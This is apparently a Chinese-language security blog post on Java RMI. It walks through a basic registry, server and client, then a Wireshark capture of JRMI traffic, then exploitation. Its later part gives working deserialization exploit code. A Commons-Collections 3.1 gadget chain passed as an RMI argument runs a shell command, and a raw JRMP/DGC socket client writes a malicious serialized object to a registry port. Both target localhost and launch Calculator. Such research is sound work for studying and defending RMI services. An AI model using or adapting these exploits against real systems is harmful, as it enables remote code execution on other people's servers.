@Author: Patrilic @Time: 2020-3-17 16:41:55
RMI(Remote Method Invocation) - Java远程方法调用, 类似于RPC, 实现了Java程序跨JVM的的方法调用。
简而言之就是能够在另一个JVM中调用对象的方法。
RMI分成三个部分组成:
(from javasec )
架构图:
简述一下RMI的调用流程:
但是从上述文字中就产生一个疑问,Client是直接获取服务端的方法执行结果,而类的执行是在Server端,那么例如fastjson这种,它的命令执行又是在Client产生…?
创建一个Java Project - RMIServiceExample
创建Package - com.patrilic.rmi
首先构造一个public接口 RMIServiceAPI
,需要继承Remote,同时throws RemoteException
package com.patrilic.rmi; import java.rmi.Remote; import java.rmi.RemoteException; public interface RMIServiceAPI extends Remote { public String hello(String a) throws RemoteException; }
然后再构造一个Class实现
package com.patrilic.rmi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RMIService extends UnicastRemoteObject implements RMIServiceAPI { /** * */ private static final long serialVersionUID = 1L; protected RMIService() throws RemoteException { super(); } public String hello(String a) throws RemoteException { System.out.println("call from" + a); return "Hello world"; } }
最后构造一个StartService.java,用于注册服务代码
package com.patrilic.rmi; import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; public class StartService { public static void StartService() { String host ="127.0.0.1"; String port ="1099"; try { RMIServiceAPI service = new RMIService(); LocateRegistry.createRegistry(Integer.valueOf(port)); Naming.bind("rmi://" + host + ":" + port + "/RmiService", service); System.out.println("[INFO]:Success to bind rmi object"); } catch (NumberFormatException e) { e.printStackTrace(); } catch (RemoteException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } public static void main(String[] args) { StartService(); } }
和Server端一样,先构造一个接口继承Remote
注意,必须使用和Server端相同的package和RMIServiceAPI名称,不然会报错
package com.patrilic.rmi; import java.rmi.Remote; import java.rmi.RemoteException; public interface RMIServiceAPI extends Remote { public String hello(String a) throws RemoteException; }
构造Client调用服务端的hello接口
package com.patrilic.rmi; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; public class RMIClient { public static void linkHello(String a) throws RemoteException { String host = "127.0.0.1"; String port = "1099"; try { Remote remote = Naming.lookup("rmi://" + host + ":" + port + "/RmiService"); if (remote instanceof RMIServiceAPI) { RMIServiceAPI rmiService = (RMIServiceAPI) remote; String result = rmiService.hello(a); System.out.println(result); } } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (RemoteException e) { e.printStackTrace(); } } public static void main(String[] args) { try { linkHello("Patrilic"); } catch (RemoteException e) { e.printStackTrace(); } } }
在RMIClient对Server端进行lookup操作时,用Wireshark指定lo0网卡抓包
AC ED 00 05是常见的java反序列化16进制特征
Client连接Registry中心的1099端口, 建立通讯
Client通过JRMI,Call查询需要调用的函数的远程引用,注册中心通过JRMI,ReturnData返回RMI的调用类以及Server的ip和端口
通过注册中心提供的Server的ip和端口,进而Client和Server进行连接
再进行一次JRMI,Client连接Registry中心的1099端口
应该是在确认调用类需要的东西
返回调用结果
从之前的流程图就可以发现,通讯过程中的所有对象都是序列化之后传输,那么就必定有反序列化操作。
这里利用Common-Collections-3.1的反序列化
代码来自 https://xz.aliyun.com/t/6660#toc-6
Server
package com.patrilic.rmi; import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class Server { public interface User extends Remote { public String name(String name) throws RemoteException; public void say(String say) throws RemoteException; public void dowork(Object work) throws RemoteException; } public static class UserImpl extends UnicastRemoteObject implements User{ protected UserImpl() throws RemoteException{ super(); } public String name(String name) throws RemoteException{ return name; } public void say(String say) throws RemoteException{ System.out.println("you speak" + say); } public void dowork(Object work) throws RemoteException{ System.out.println("your work is " + work); } } public static void main(String[] args) throws Exception{ String url = "rmi://127.0.0.1:1099/User"; UserImpl user = new UserImpl(); LocateRegistry.createRegistry(1099); Naming.bind(url,user); System.out.println("the rmi is running ..."); } }
Client
package com.patrilic.rmi; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map; //import com.patrilic.rmi.Server; import com.patrilic.rmi.Server.User; public class Client { public static void main(String[] args) throws Exception{ String url = "rmi://127.0.0.1:1099/User"; User userClient = (User)Naming.lookup(url); System.out.println(userClient.name("lala")); userClient.say("world"); userClient.dowork(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; } }
Github有个项目 BaRMIe
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议
package com.patrilic.rmi; import sun.rmi.server.MarshalOutputStream; import sun.rmi.transport.TransportConstants; import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.Socket; public class JRMI { public static void main(String[] args) throws IOException { if (args.length == 0) { args = new String[]{"127.0.0.1", String.valueOf("9527"), "open -a Calculator.app"}; } final String host = args[0]; final int port = Integer.parseInt(args[1]); final String command = args[2]; Socket socket = null; OutputStream out = null; try { Object payloadObject = RMIExploit.genPayload(command); socket = new Socket("127.0.0.1", 9527); socket.setKeepAlive(true); socket.setTcpNoDelay(true); // 获取Socket的输出流对象 out = socket.getOutputStream(); // 将Socket的输出流转换成DataOutputStream对象 DataOutputStream dos = new DataOutputStream(out); // 创建MarshalOutputStream对象 ObjectOutputStream baos = new MarshalOutputStream(dos); // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象 dos.writeInt(TransportConstants.Magic);// 魔数 dos.writeShort(TransportConstants.Version);// 版本 dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型 dos.write(TransportConstants.Call);// RMI调用指令 baos.writeLong(2); // DGC baos.writeInt(0); baos.writeLong(0); baos.writeShort(0); baos.writeInt(1); // dirty baos.writeLong(1L);// 接口Hash值 // 写入恶意的序列化对象 baos.writeObject(payloadObject); dos.flush(); } catch (Exception e) { e.printStackTrace(); } finally { // 关闭Socket输出流 if (out != null) { out.close(); } // 关闭Socket连接 if (socket != null) { socket.close(); } } } }